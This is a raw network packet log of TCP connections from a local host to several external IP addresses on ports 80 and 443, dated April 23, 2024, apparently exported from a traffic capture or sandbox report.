Apr 23, 2024 22:17:02.226095915 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.226124048 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.226124048 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.226161003 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.226166010 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.226195097 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.226208925 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.226233006 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.226239920 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.226268053 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.226284981 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.226308107 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.228952885 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.229007959 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.229095936 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.229130983 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.229146004 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.229167938 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.229173899 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.229221106 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.229259014 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.376296997 CEST	80	49734	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:02.382266998 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.391783953 CEST	80	49735	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:02.607796907 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:02.621797085 CEST	80	49734	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:02.621857882 CEST	80	49734	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:02.621889114 CEST	49734	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:02.621962070 CEST	49734	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:02.621962070 CEST	49734	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:02.634850025 CEST	80	49735	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:02.634915113 CEST	49735	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:02.636559010 CEST	80	49735	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:02.636610031 CEST	49735	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:02.721317053 CEST	49735	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:02.756346941 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:02.756417036 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:02.763570070 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:02.771573067 CEST	80	49734	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:02.871262074 CEST	80	49735	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:02.970400095 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.001844883 CEST	49737	443	192.168.2.4	104.67.208.180
Apr 23, 2024 22:17:03.001882076 CEST	443	49737	104.67.208.180	192.168.2.4
Apr 23, 2024 22:17:03.001959085 CEST	49737	443	192.168.2.4	104.67.208.180
Apr 23, 2024 22:17:03.010446072 CEST	49737	443	192.168.2.4	104.67.208.180
Apr 23, 2024 22:17:03.010459900 CEST	443	49737	104.67.208.180	192.168.2.4
Apr 23, 2024 22:17:03.233689070 CEST	443	49737	104.67.208.180	192.168.2.4
Apr 23, 2024 22:17:03.233773947 CEST	49737	443	192.168.2.4	104.67.208.180
Apr 23, 2024 22:17:03.280257940 CEST	49737	443	192.168.2.4	104.67.208.180
Apr 23, 2024 22:17:03.280280113 CEST	443	49737	104.67.208.180	192.168.2.4
Apr 23, 2024 22:17:03.280781031 CEST	443	49737	104.67.208.180	192.168.2.4
Apr 23, 2024 22:17:03.280846119 CEST	49737	443	192.168.2.4	104.67.208.180
Apr 23, 2024 22:17:03.281994104 CEST	49737	443	192.168.2.4	104.67.208.180
Apr 23, 2024 22:17:03.328145981 CEST	443	49737	104.67.208.180	192.168.2.4
Apr 23, 2024 22:17:03.341233015 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.341279030 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.341298103 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.341317892 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.341340065 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.341489077 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.341540098 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.341550112 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.489938021 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.490022898 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.490036011 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.490077972 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.490155935 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.490201950 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.490231991 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.490286112 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.490397930 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.490451097 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.490473032 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.490520000 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.490546942 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.490588903 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.490658998 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.490710020 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.640431881 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.640535116 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.640976906 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.641015053 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.641037941 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.641053915 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.641068935 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.641093016 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.641093016 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.641136885 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.641140938 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.641177893 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.641182899 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.641216993 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.641222000 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.641254902 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.641266108 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.641304016 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.641346931 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.641397953 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.641427040 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.641478062 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.641530991 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.641581059 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.641664982 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.641716957 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.641767979 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.641819000 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.641899109 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.641949892 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.641972065 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.642020941 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.645251036 CEST	443	49737	104.67.208.180	192.168.2.4
Apr 23, 2024 22:17:03.645284891 CEST	443	49737	104.67.208.180	192.168.2.4
Apr 23, 2024 22:17:03.645292997 CEST	443	49737	104.67.208.180	192.168.2.4
Apr 23, 2024 22:17:03.645308971 CEST	49737	443	192.168.2.4	104.67.208.180
Apr 23, 2024 22:17:03.645318985 CEST	443	49737	104.67.208.180	192.168.2.4
Apr 23, 2024 22:17:03.645350933 CEST	49737	443	192.168.2.4	104.67.208.180
Apr 23, 2024 22:17:03.645382881 CEST	49737	443	192.168.2.4	104.67.208.180
Apr 23, 2024 22:17:03.747952938 CEST	443	49737	104.67.208.180	192.168.2.4
Apr 23, 2024 22:17:03.747996092 CEST	443	49737	104.67.208.180	192.168.2.4
Apr 23, 2024 22:17:03.748047113 CEST	49737	443	192.168.2.4	104.67.208.180
Apr 23, 2024 22:17:03.748059988 CEST	443	49737	104.67.208.180	192.168.2.4
Apr 23, 2024 22:17:03.748095989 CEST	49737	443	192.168.2.4	104.67.208.180
Apr 23, 2024 22:17:03.748106956 CEST	49737	443	192.168.2.4	104.67.208.180
Apr 23, 2024 22:17:03.766257048 CEST	443	49737	104.67.208.180	192.168.2.4
Apr 23, 2024 22:17:03.766338110 CEST	49737	443	192.168.2.4	104.67.208.180
Apr 23, 2024 22:17:03.766345024 CEST	443	49737	104.67.208.180	192.168.2.4
Apr 23, 2024 22:17:03.766356945 CEST	443	49737	104.67.208.180	192.168.2.4
Apr 23, 2024 22:17:03.766391039 CEST	49737	443	192.168.2.4	104.67.208.180
Apr 23, 2024 22:17:03.766421080 CEST	49737	443	192.168.2.4	104.67.208.180
Apr 23, 2024 22:17:03.766959906 CEST	49737	443	192.168.2.4	104.67.208.180
Apr 23, 2024 22:17:03.766974926 CEST	443	49737	104.67.208.180	192.168.2.4
Apr 23, 2024 22:17:03.789170980 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:03.789274931 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:03.789347887 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:03.789696932 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:03.789731026 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:03.789912939 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.789979935 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.790029049 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.790077925 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.790525913 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.790576935 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.790647030 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.790695906 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.790770054 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.790815115 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.790895939 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.790941000 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.790990114 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.791038990 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.791080952 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.791127920 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.791202068 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.791254044 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.791337013 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.791399002 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.791424036 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.791475058 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.791508913 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.791568995 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.791619062 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.791661978 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.791776896 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.791827917 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.791868925 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.791920900 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.791940928 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.791992903 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.792072058 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.792117119 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.792243958 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.792289972 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.792300940 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.792349100 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.792388916 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.792435884 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.792542934 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.792588949 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.792638063 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.792694092 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.792853117 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.792901993 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.793159962 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.793195963 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.793210983 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.793240070 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.793289900 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.793334961 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.793394089 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.793437958 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.793521881 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.793574095 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.793605089 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.793654919 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.793720007 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.793768883 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.793852091 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.793903112 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.793984890 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.794032097 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.940990925 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.941049099 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.941199064 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.941246986 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.941425085 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.941464901 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.941626072 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.941670895 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.941699982 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.941741943 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.941822052 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.941867113 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.941952944 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.941997051 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.942047119 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.942091942 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.942168951 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.942210913 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.942260027 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.942303896 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.942488909 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.942534924 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.942544937 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.942583084 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.942594051 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.942626953 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.942719936 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.942770958 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.942822933 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.942867994 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.942940950 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.942985058 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.943041086 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.943082094 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.943144083 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.943188906 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.943280935 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.943326950 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.943408966 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.943447113 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.943453074 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.943490028 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.943555117 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.943602085 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.943685055 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.943738937 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.943820953 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.943866968 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.943948030 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.944019079 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.944066048 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.944076061 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.944164038 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.944207907 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.944236040 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.944284916 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.944361925 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.944406033 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.944449902 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.944497108 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.944816113 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.944856882 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.944860935 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.944896936 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.944900990 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.944932938 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.944936037 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.944974899 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.944981098 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.945014954 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.945080996 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.945126057 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.945230961 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.945272923 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.945333004 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.945377111 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.945461988 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.945502043 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.945502996 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.945549011 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.945651054 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.945694923 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.945784092 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.945827961 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.946022987 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.946063042 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.946074009 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.946096897 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.946445942 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.946489096 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.946508884 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.946553946 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.946614981 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.946655035 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.946739912 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.946783066 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.946832895 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.946877956 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.946938038 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.946980953 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.947065115 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.947107077 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.947191000 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.947236061 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.947285891 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.947390079 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.947402000 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.947429895 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.947525978 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.947572947 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.947614908 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.947657108 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.947719097 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.947766066 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.947814941 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.947855949 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.947989941 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.948031902 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.948049068 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.948093891 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.948183060 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.948230028 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.948235989 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.948271036 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:03.948389053 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:03.948432922 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.089668989 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.089729071 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.089792013 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.089838982 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.089895964 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.089945078 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.090029955 CEST	80	49736	189.195.132.134	192.168.2.4
